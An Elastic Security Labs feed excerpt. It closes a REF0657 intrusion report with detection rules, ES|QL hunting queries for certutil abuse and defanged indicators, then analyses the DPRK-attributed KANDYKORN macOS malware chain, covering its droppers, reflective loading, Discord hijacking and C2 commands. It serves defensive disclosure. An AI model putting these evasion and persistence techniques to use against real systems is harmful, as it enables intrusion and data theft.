<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h4>Tactics</h4>
<p>Tactics represent the why of a technique or sub-technique. The adversary’s tactical goal is the reason for performing an action. The tactics observed in REF0657 were:</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0008/">Lateral Movement</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0003/">Persistence</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h4>Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action. Elastic Security Labs observed the following techniques within REF0657:</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
<li><a href="https://attack.mitre.org/techniques/T1218/">System Binary Proxy Execution</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/">Masquerading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1140/">Deobfuscate/Decode Files or Information</a></li>
<li><a href="https://attack.mitre.org/techniques/T1047/">Windows Management Instrumentation</a></li>
<li><a href="https://attack.mitre.org/techniques/T1105/">Ingress Tool Transfer</a></li>
<li><a href="https://attack.mitre.org/techniques/T1574/002/">Hijack Execution Flow: DLL Side-Loading</a></li>
</ul>
<h2>Summary</h2>
<p>In summary, this intrusion highlighted some new tooling while re-emphasizing that not all intrusions are dictated by novel malware and techniques. These types of threats demonstrate the real-world challenges most organizations are faced with daily.</p>
<p>The threat group moved very quickly in this environment, where within almost 24 hours, meaningful data to the attacker was extracted from the network. Sharing some of these details can help defenders plug possible holes or gaps in coverage from some of these techniques.</p>
<h3>The Diamond Model</h3>
<p>Elastic Security Labs utilizes the <a href="https://www.activeresponse.org/wp-content/uploads/2013/07/diamond.pdf">Diamond Model</a> to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/image7.png" alt="REF0657 - Diamond Model" title="REF0657 - Diamond Model" /></p>
<h2>Detecting REF0657</h2>
<p>The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:</p>
<h3>Detection</h3>
<ul>
<li><a href="https://www.elastic.co/kr/guide/en/security/current/direct-outbound-smb-connection.html#direct-outbound-smb-connection">Direct Outbound SMB Connection</a></li>
<li><a href="https://www.elastic.co/kr/guide/en/security/current/execution-via-mssql-xp-cmdshell-stored-procedure.html">Execution via MSSQL xp_cmdshell Stored Procedure</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_execution_via_renamed_signed_binary_proxy.toml">Execution via Renamed Signed Binary Proxy</a></li>
<li><a href="https://www.elastic.co/kr/guide/en/security/current/potential-remote-credential-access-via-registry.html">Potential Remote Credential Access via Registry</a></li>
<li><a href="https://www.elastic.co/kr/guide/en/security/current/process-execution-from-an-unusual-directory.html">Process Execution from an Unusual Directory</a></li>
<li><a href="https://www.elastic.co/kr/guide/en/security/current/suspicious-certutil-commands.html">Suspicious CertUtil Commands</a></li>
<li><a href="https://www.elastic.co/kr/guide/en/security/current/wmi-incoming-lateral-movement.html">WMI Incoming Lateral Movement</a></li>
</ul>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/command_and_control_ingress_tool_transfer_via_inet_cache.toml">Ingress Tool Transfer via INET Cache</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_potential_masquerading_as_windows_error_manager.toml">Potential Masquerading as Windows Error Manager</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/lateral_movement_potential_lateral_movement_via_smbexec.toml">Potential Lateral Movement via SMBExec</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_cmd_execution_via_wmi.toml">Suspicious Cmd Execution via WMI</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_rundll32_with_unusual_arguments.toml">RunDLL32 with Unusual Arguments</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/execution_suspicious_powershell_execution.toml">Suspicious PowerShell Execution</a></li>
</ul>
<h3>Hunting queries in Elastic</h3>
<p>Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.</p>
<h4>ES|QL queries</h4>
<p>Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below ES|QL queries to hunt for similar behaviors:</p>
<pre><code>FROM logs-*
  WHERE process.parent.name == &quot;sqlservr.exe&quot; 
  AND process.name == &quot;cmd.exe&quot; 
  AND process.command_line 
  RLIKE &quot;.*certutil.*&quot;
</code></pre>
<pre><code>FROM logs-*
  WHERE process.name == &quot;ms_edge.exe&quot; 
  AND process.code_signature.exists == false 
  AND NOT process.executable 
  RLIKE &quot;.*Program Files.*&quot;
</code></pre>
<h4>YARA</h4>
<p>Elastic Security has created the following YARA rules to identify this activity:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_CobaltStrike.yar">Windows.Trojan.CobaltStrike</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_SleepObfLoader.yar">Windows.Hacktool.SleepObfLoader</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Hacktool_Nps.yar">Multi.Hacktool.Nps</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Hacktool_Rakshasa.yar">Multi.Hacktool.Rakshasa</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Iox.yar">Windows.Hacktool.Iox</a></li>
</ul>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ref0657">download</a> in both ECS and STIX format in a combined zip bundle.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td>206.237.3[.]150</td>
<td>ipv4-addr</td>
<td></td>
<td>File hosting infrastructure</td>
</tr>
<tr>
<td>206.237.0[.]49</td>
<td>ipv4-addr</td>
<td></td>
<td>File hosting and supershell infrastructure</td>
</tr>
<tr>
<td>104.21.54[.]126</td>
<td>ipv4-addr</td>
<td></td>
<td>Cobalt Strike infrastructure</td>
</tr>
<tr>
<td>149.104.23[.]176</td>
<td>ipv4-addr</td>
<td></td>
<td></td>
</tr>
<tr>
<td>msedge[.]one</td>
<td>domain-name</td>
<td></td>
<td>Cobalt Strike infrastructure</td>
</tr>
<tr>
<td>bc90ef8121d20af264cc15b38dd1c3a866bfe5a9eb66064feb2a00d860a0e716</td>
<td>SHA-256</td>
<td>mscoree.dll</td>
<td></td>
</tr>
<tr>
<td>84b3bc58ec04ab272544d31f5e573c0dd7812b56df4fa445194e7466f280e16d</td>
<td>SHA-256</td>
<td>MSASN1.dll</td>
<td></td>
</tr>
</tbody>
</table>
<h2>About Elastic Security Labs</h2>
<p>Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.</p>
<p>Follow Elastic Security Labs on Twitter <a href="https://twitter.com/elasticseclabs?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor">@elasticseclabs</a> and check out our research at <a href="https://www.elastic.co/kr/security-labs/">www.elastic.co/security-labs/</a>.</p>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/kr/security-labs/assets/images/unmasking-financial-services-intrusion-ref0657/photo-edited-08@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Elastic catches DPRK passing out KANDYKORN]]></title>
            <link>https://www.elastic.co/kr/security-labs/elastic-catches-dprk-passing-out-kandykorn</link>
            <guid>elastic-catches-dprk-passing-out-kandykorn</guid>
            <pubDate>Wed, 01 Nov 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs exposes an attempt by the DPRK to infect blockchain engineers with novel macOS malware.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>Elastic Security Labs is disclosing a novel intrusion targeting blockchain engineers of a crypto exchange platform. The intrusion leveraged a combination of custom and open source capabilities for initial access and post-exploitation.</p>
<p>We discovered this intrusion when analyzing attempts to reflectively load a binary into memory on a macOS endpoint. The intrusion was traced to a Python application posing as a cryptocurrency arbitrage bot delivered via a direct message on a public Discord server.</p>
<p>We attribute this activity to DPRK and recognize overlaps with the Lazarus Group based on our analysis of the techniques, network infrastructure, code-signing certificates, and custom Lazarus Group detection rules; we track this intrusion set as REF7001.</p>
<h3>Key takeaways</h3>
<ul>
<li>Threat actors lured blockchain engineers with a Python application to gain initial access to the environment</li>
<li>This intrusion involved multiple complex stages that each employed deliberate defense evasion techniques</li>
<li>The intrusion set was observed on a macOS system where an adversary attempted to load binaries into memory, which is atypical of macOS intrusions</li>
</ul>
<h2>Execution flow</h2>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image31.jpg" alt="REF7001 Execution Flow" /></p>
<p>Attackers impersonated blockchain engineering community members on a public Discord frequented by members of this community. The attacker social-engineered their initial victim, convincing them to download and decompress a ZIP archive containing malicious code. The victim believed they were installing an <a href="https://wundertrading.com/en/crypto-arbitrage-bot">arbitrage bot</a>, a software tool capable of profiting from cryptocurrency rate differences between platforms.</p>
<p>This execution kicked off the primary malware execution flow of the REF7001 intrusion, culminating in KANDYKORN:</p>
<ul>
<li>Stage 0 (Initial Compromise) - <code>Watcher.py</code></li>
<li>Stage 1 (Dropper) - <code>testSpeed.py</code> and <code>FinderTools</code></li>
<li>Stage 2 (Payload) - <code>.sld</code> and <code>.log</code> - SUGARLOADER</li>
<li>Stage 3 (Loader)- Discord (fake) - HLOADER</li>
<li>Stage 4 (Payload) - KANDYKORN</li>
</ul>
<h2>Stage 0 Initial compromise: Watcher.py</h2>
<p>The initial breach was orchestrated via a camouflaged Python application designed and advertised as an arbitrage bot targeted at blockchain engineers. This application was distributed as a .zip file titled <code>Cross-Platform Bridges.zip</code>. Decompressing it reveals a <code>Main.py</code> script accompanied by a folder named <code>order_book_recorder</code>, housing 13 Python scripts.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image21.png" alt="Cross-Platform Bridges.zip folder structure" /></p>
<p>The victim manually ran the <code>Main.py</code> script via their PyCharm IDE Python interpreter.</p>
<p>Initially, the <code>Main.py</code> script appears benign. It imports the accompanying Python scripts as modules and seems to execute some mundane functions.</p>
<p>While analyzing the modules housed in the <code>order_book_recorder</code> folder, one file -- <code>Watcher.py</code> -- clearly stood out and we will see why.</p>
<p><code>Main.py</code> acts as the initial trigger, importing <code>Watcher.py</code> as a module that indirectly executes the script. The Python interpreter runs every top-level statement in <code>Watcher.py</code> sequentially.</p>
<p>The script starts off by establishing local directory paths and subsequently attempts to generate a <code>_log</code> folder at the specified location. If the folder already exists, the script remains passive.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image17.png" alt="Creating a folder within the Python application directory structure and name it _log" /></p>
<p>The script pre-defines a <code>testSpeed.py</code> file path (destined for the just created <code>_log</code> folder) and assigns it to the <code>output</code> variable. The function <code>import_networklib</code> is then defined. Within it, a Google Drive URL is initialized.</p>
<p>Utilizing the Python <code>urllib</code> library, the script fetches content from this URL and stashes it in the <code>s_args</code> variable. In case of retrieval errors, it defaults to returning the operating system's name. Subsequently, the content from Google Drive (now in <code>s_args</code>) is written into the <code>testSpeed.py</code> file.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image25.png" alt="Malicious downloader function import_networklib" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image24.png" alt="Connect to Google Drive url and download data saved to a variable s_args" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image1.png" alt="Write data from s_args to testSpeed.py file in newly created _log directory" /></p>
<p>The next function, <code>get_modules_base_version</code>, probes the Python version and invokes the <code>import_networklib</code> function if it detects version 3. This call sets the entire sequence in motion.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image14.png" alt="Check if Python version 3, calls the import_networklib function" /></p>
<p><code>Watcher.py</code> imports <code>testSpeed.py</code> as a module, executing the contents of the script.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image7.png" alt="Import testSpeed.py to execute it" /></p>
<p>Concluding its operation, the malicious script tidies up, deleting the <code>testSpeed.py</code> file immediately after its one-time execution.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image8.png" alt="Delete the downloaded testSpeed.py file following its import and execution" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image35.png" alt="Watcher.py deletes the testSpeed.py immediately following its execution" /></p>
<h2>Stage 1 droppers testSpeed.py and FinderTools</h2>
<p>When executed, <code>testSpeed.py</code> establishes an outbound network connection and fetches another Python file from a Google Drive URL, named <code>FinderTools</code>. This new file is saved to the <code>/Users/Shared/</code> directory, with the method of retrieval mirroring the <code>Watcher.py</code> script.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image9.png" alt="testSpeed.py network connection" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image2.png" alt="_FinderTools file creation _" /></p>
<p>After download, <code>testSpeed.py</code> launches <code>FinderTools</code>, providing a URL (<code>tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC</code>) as an argument which initiates an outbound network connection.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image3.png" alt="FinderTools execution" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image13.png" alt="FinderTools network connections" /></p>
<p><code>FinderTools</code> is yet another dropper, downloading and executing a hidden second stage payload <code>.sld</code> also written to the <code>/Users/Shared/</code> directory.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image5.png" alt="FinderTools executes .sld" /></p>
<h2>Stage 2 payload .sld and .log: SUGARLOADER</h2>
<p>Stage 2 involves the execution of an obfuscated binary we have named SUGARLOADER, which is utilized twice under two separate names (<code>.sld</code> and <code>.log</code>).</p>
<p>SUGARLOADER is first observed at <code>/Users/shared/.sld</code>. The second instance of SUGARLOADER, renamed to <code>.log</code>, is used in the persistence mechanism REF7001 implements with Discord.</p>
<h3>Obfuscation</h3>
<p>SUGARLOADER is used for initial access on the machine, and initializing the environment for the final stage. This binary is obfuscated using a binary packer, limiting what can be seen with static analysis.</p>
<p>The start function of this binary consists of a jump (<code>JMP</code>) to an undefined address. This is common for binary packers.</p>
<pre><code>HEADER:00000001000042D6 start:
HEADER:00000001000042D6                 jmp     0x10000681E
</code></pre>
<p>Executing the macOS file object tool <code>otool -l ./log</code> lists all the sections that will be loaded at runtime.</p>
<pre><code>Section
  sectname __mod_init_func
   segname lko2
      addr 0x00000001006983f0
      size 0x0000000000000008
    offset 4572144
     align 2^3 (8)
    reloff 0
    nreloc 0
     flags 0x00000009
 reserved1 0
 reserved2 0
</code></pre>
<p><code>__mod_init_func</code> contains initialization functions. The C++ compiler places static constructors here. This is the code used to unpack the binary in memory.</p>
<p>A successful method of reverse engineering such files is to place a breakpoint right after the execution of initialization functions and then take a snapshot of the process's virtual memory. When the breakpoint is hit, the code will already be decrypted in memory and can be analyzed using traditional methods.</p>
<p>Adversaries commonly use obfuscation techniques such as this to bypass traditional static signature-based antimalware capabilities. As of this publication, VirusTotal <a href="https://www.virustotal.com/gui/file/3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940">shows 0 detections of this file</a>, which suggests these defense evasions continue to be cost-effective.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image11.png" alt="SUGARLOADER VirusTotal Detections" /></p>
<h3>Execution</h3>
<p>The primary purpose of SUGARLOADER is to connect to a Command and Control server (C2), in order to download a final stage payload we refer to as KANDYKORN, and execute it directly in memory.</p>
<p>SUGARLOADER checks for the existence of a configuration file at <code>/Library/Caches/com.apple.safari.ck</code>. If the configuration file is missing, it will be downloaded and created via a default C2 address provided as a command line argument to the <code>.sld</code> binary. In our sample, the C2 address was <code>23.254.226[.]90</code> over TCP port <code>443</code>. We provide additional information about the C2 in the Network Infrastructure section below.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image4.png" alt="SUGARLOADER C2 established and configuration file download" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image40.png" alt="SUGARLOADER writing configuration file" /></p>
<p>The configuration file is encrypted using RC4 and the encryption key (in the Observations section) is hardcoded within SUGARLOADER itself. The <code>com.apple.safari.ck</code> file is utilized by both SUGARLOADER and KANDYKORN for establishing secure network communications.</p>
<pre><code>struct MalwareConfig
{
  char computerId[8];
  _BYTE gap0[12];
  Url c2_urls[2];
  Hostname c2_ip_address[2];
  _BYTE proxy[200];
  int sleepInterval;
};
</code></pre>
<p><code>computerId</code> is a randomly generated string identifying the victim’s computer.</p>
<p>A C2 server can either be identified with a fully qualified URL (<code>c2_urls</code>) or with an IP address and port (<code>c2_ip_ddress</code>). It supports two C2 servers, one as the main server, and the second one as a fallback. The specification or hardcoding of multiple servers like this is commonly used by malicious actors to ensure their connection with the victim is persistent should the original C2 be taken down or blocked. <code>sleepInterval</code> is the default sleeping interval for the malware between separate actions.</p>
<p>Once the configuration file is read into memory and decrypted, the next step is to initialize a connection to the remote server. All the communication between the victim’s computer and the C2 server is detailed in the Network Protocol section.</p>
<p>The last step taken by SUGARLOADER is to download a final stage payload from the C2 server and execute it. REF7001 takes advantage of a technique known as <a href="https://attack.mitre.org/techniques/T1620/">reflective binary loading</a> (allocation followed by the execution of payloads directly within the memory of the process) to execute the final stage, leveraging APIs such as <code>NSCreateObjectFileImageFromMemory</code> or <code>NSLinkModule</code>. Reflective loading is a powerful technique. If you'd like to learn more about how it works, check out this research by <a href="https://slyd0g.medium.com/understanding-and-defending-against-reflective-code-loading-on-macos-e2e83211e48f">slyd0g</a> and <a href="https://hackd.net/posts/macos-reflective-code-loading-analysis/">hackd</a>.</p>
<p>This technique can be utilized to execute a payload from an in-memory buffer. Fileless execution such as this <a href="https://objective-see.org/blog/blog_0x51.html">has been observed previously</a> in attacks conducted by the Lazarus Group.</p>
<p>SUGARLOADER reflectively loads a binary (KANDYKORN) and then creates a new file initially named <code>appname</code> which we refer to as <code>HLOADER</code> which we took directly from the process code signature’s signing identifier.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image12.png" alt="SUGARLOADER reflective binary load alert" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image36.png" alt="SUGARLOADER creates HLOADER" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image10.png" alt="HLOADER code signature identifier" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image34.png" alt="Pseudocode for SUGARLOADER (stage2)" /></p>
<h2>Stage 3 loader Discord: HLOADER</h2>
<p>HLOADER (<code>2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1</code>) is a payload that attempts to masquerade as the legitimate Discord application. As of this writing, <a href="https://www.virustotal.com/gui/file/2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1">it has 0 detections on VirusTotal</a>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image15.png" alt="HLOADER VirusTotal Detections" /></p>
<p>HLOADER was identified through the use of a macOS binary code-signing technique that has been <a href="https://objective-see.org/blog/blog_0x73.html">previously linked</a> to the <a href="https://www.eset.com/int/about/newsroom/press-releases/research/eset-research-discovers-new-lazarus-dreamjob-campaign-and-links-it-to-phone-provider-3cx-supply-chai/">DPRK’s Lazarus Group 3CX intrusion</a>. In addition to other published research, Elastic Security Labs has also used the presence of this technique as an indicator of DPRK campaigns, as seen in our June 2023 research publication on <a href="https://www.elastic.co/kr/security-labs/inital-research-of-jokerspy#the-xcc-binary">JOKERSPY</a>.</p>
<h3>Persistence</h3>
<p>We observed the threat actor adopting a technique we have not previously seen them use to achieve persistence on macOS, known as <a href="https://attack.mitre.org/techniques/T1574/">execution flow hijacking</a>. The target of this attack was the widely used application Discord. The Discord application is often configured by users as a login item and launched when the system boots, making it an attractive target for takeover. HLOADER is a self-signed binary written in Swift. The purpose of this loader is to execute both the legitimate Discord bundle and <code>.log</code> payload, the latter of which is used to execute Mach-O binary files from memory without writing them to disk.</p>
<p>The legitimate binary <code>/Applications/Discord.app/Contents/MacOS/Discord</code> was renamed to <code>.lock</code>, and replaced by <code>HLOADER</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image18.png" alt="Discord replaced by HLOADER" /></p>
<p>Below is the code signature information for <code>HLOADER</code>, which has a self-signed identifier structure consistent with other Lazarus Group samples.</p>
<pre><code>Executable=Applications/Discord.app/Contents/MacOS/Discord
Identifier=HLOADER-5555494485b460f1e2343dffaef9b94d01136320
Format=bundle with Mach-O universal (x86_64 arm64)
CodeDirectory flags=0x2(adhoc) hashes=12+7 location=embedded
</code></pre>
<p>When executed, <code>HLOADER</code> performs the following operations:</p>
<ul>
<li>Renames itself from <code>Discord</code> to <code>MacOS.tmp</code></li>
<li>Renames the legitimate Discord binary from <code>.lock</code> to <code>Discord</code></li>
<li>Executes both Discord and <code>.log</code> using <code>NSTask.launchAndReturnError</code></li>
<li>Renames both files back to their initial names</li>
</ul>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image37.png" alt="HLOADER execution event chain" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image33.png" alt="HLOADER Discord Application Hijack" /></p>
<p>The following process tree also visually depicts how persistence is obtained. The root node <code>Discord</code> is actually HLOADER disguised as the legitimate app. As presented above, it first runs .lock, which is in fact Discord, and, alongside, spawns SUGARLOADER as a process named .log.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image23.png" alt="Process Tree Analyzer" /></p>
<p>As seen in stage 2, SUGARLOADER reads the configuration file, connects to the C2 server, and waits for a payload to be received. Another alert is generated when the new payload (KANDYKORN) is loaded into memory.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image27.png" alt="Reflective Dylib Load Alert for KANDYKORN" /></p>
<h2>Stage 4 Payload: KANDYKORN</h2>
<p>KANDYKORN is the final stage of this execution chain and possesses a full-featured set of capabilities to access and exfiltrate data from the victim’s computer. Elastic Security Labs was able to retrieve this payload from one C2 server which hadn’t been deactivated yet.</p>
<h3>Execution</h3>
<p>KANDYCORN processes are forked and run in the background as daemons before loading their configuration file from <code>/Library/Caches/com.apple.safari.ck</code>. The configuration file is read into memory then decrypted using the same RC4 key, and parsed for C2 settings. The communication protocol is similar to prior stages using the victim ID value for authentication.</p>
<h3>Command and control</h3>
<p>Once communication is established, KANDYKORN awaits commands from the server. This is an interesting characteristic in that the malware waits for commands instead of polling for commands. This would reduce the number of endpoint and network artifacts generated and provide a way to limit potential discovery.</p>
<p>Each command is represented by an integer being transmitted, followed by the data that is specific to each action. Below is a list of the available commands KANDYKORN provides.</p>
<h4>Command 0xD1</h4>
<p>Action: Exit command where the program gracefully exists.</p>
<h4>Command 0xD2</h4>
<p>Name: <code>resp_basicinfo</code>
Action: Gathers information about the system such as hostname, uid, osinfo, and image path of the current process, and reports back to the server.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image16.png" alt="resp_basicinfo routine" /></p>
<h4>Command 0xD3</h4>
<p>Name: <code>resp_file_dir</code>
Action: Lists content of a directory and format the output similar to <code>ls -al</code>, including type, name, permissions, size, acl, path, and access time.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image20.png" alt="resp_file_dir routine" /></p>
<h4>Command 0xD4</h4>
<p>Name: <code>resp_file_prop</code></p>
<p>Action: Recursively read a directory and count the number of files, number of subdirectories, and total size.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image26.png" alt="resp_file_prop routine" /></p>
<h4>Command 0xD5</h4>
<p>Name: <code>resp_file_upload</code></p>
<p>Action: Used by the adversary to upload a file from their C2 server to the victim’s computer. This command specifies a path, creates it, and then proceeds to download the file content and write it to the victim’s computer.</p>
<h4>Command 0xD6</h4>
<p>Name: <code>resp_file_down</code></p>
<p>Action: Used by the adversary to transfer a file from the victim’s computer to their infrastructure.</p>
<h4>Command 0xD7</h4>
<p>Name: <code>resp_file_zipdown</code></p>
<p>Action: Archive a directory and exfiltrate it to the C2 server. The newly created archive’s name has the following pattern<code>/tmp/tempXXXXXXX</code>.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image29.png" alt="_resp_file_zipdown routine _" /></p>
<h4>Command 0xD8</h4>
<p>Name: <code>resp_file_wipe</code>
Action: Overwrites file content to zero and deletes the file. This is a common technique used to impede recovering the file through digital forensics on the filesystem.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image28.png" alt="resp_file_wipe routine" /></p>
<h4>Command 0xD9</h4>
<p>Name: <code>resp_proc_list</code></p>
<p>Action: Lists all running processes on the system along with their PID, UID and other information.</p>
<h4>Command 0xDA</h4>
<p>Name: <code>resp_proc_kill</code></p>
<p>Action: Kills a process by specified PID.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image19.png" alt="resp_proc_kill routine" /></p>
<h4>Command 0xDB</h4>
<p>Name: <code>resp_cmd_send</code></p>
<p>Action: Executes a command on the system by using a pseudoterminal.</p>
<h4>Command 0xDC</h4>
<p>Name: <code>resp_cmd_recv</code></p>
<p>Action: Reads the command output from the previous command <code>resp_cmd_send</code>.</p>
<h4>Command 0xDD</h4>
<p>Name: <code>resp_cmd_create</code></p>
<p>Action: Spawns a shell on the system and communicates with it via a pseudoterminal. Once the shell process is executed, commands are read and written through the <code>/dev/pts</code> device.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image38.png" alt="resp_cmd_create routine (interactive shell)" /></p>
<h4>Command 0xDE</h4>
<p>Name: <code>resp_cfg_get</code></p>
<p>Action: Sends the current configuration to the C2 from <code>/Library/Caches/com.apple.safari.ck</code>.</p>
<h4>Command 0xDF</h4>
<p>Name: <code>resp_cfg_set</code></p>
<p>Action: Download a new configuration file to the victim’s machine. This is used by the adversary to update the C2 hostname that should be used to retrieve commands from.</p>
<h4>Command 0xE0</h4>
<p>Name: <code>resp_sleep</code></p>
<p>Action: Sleeps for a number of seconds.</p>
<h3>Summary</h3>
<p>KANDYKORN is an advanced implant with a variety of capabilities to monitor, interact with, and avoid detection. It utilizes reflective loading, a direct-memory form of execution that may bypass detections.</p>
<h2>Network protocol</h2>
<p>All the executables that communicate with the C2 (both stage 3 and stage 4) are using the same protocol. All the data is encrypted with RC4 and uses the same key previously referenced in the configuration file.</p>
<p>Both samples implement wrappers around the send-and-receive system calls. It can be observed in the following pseudocode that during the send routine, the buffer is first encrypted and then sent to the socket, whereas when data is received it is first decrypted and then processed.</p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image22.png" alt="send routine" /></p>
<p><img src="https://www.elastic.co/kr/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/image32.png" alt="recv routine" /></p>
<p>When the malware first connects to the C2 during the initialization phase, there is a handshake that needs to be validated in order to proceed. Should the handshake fail, the attack would stop and no other commands would be processed.</p>
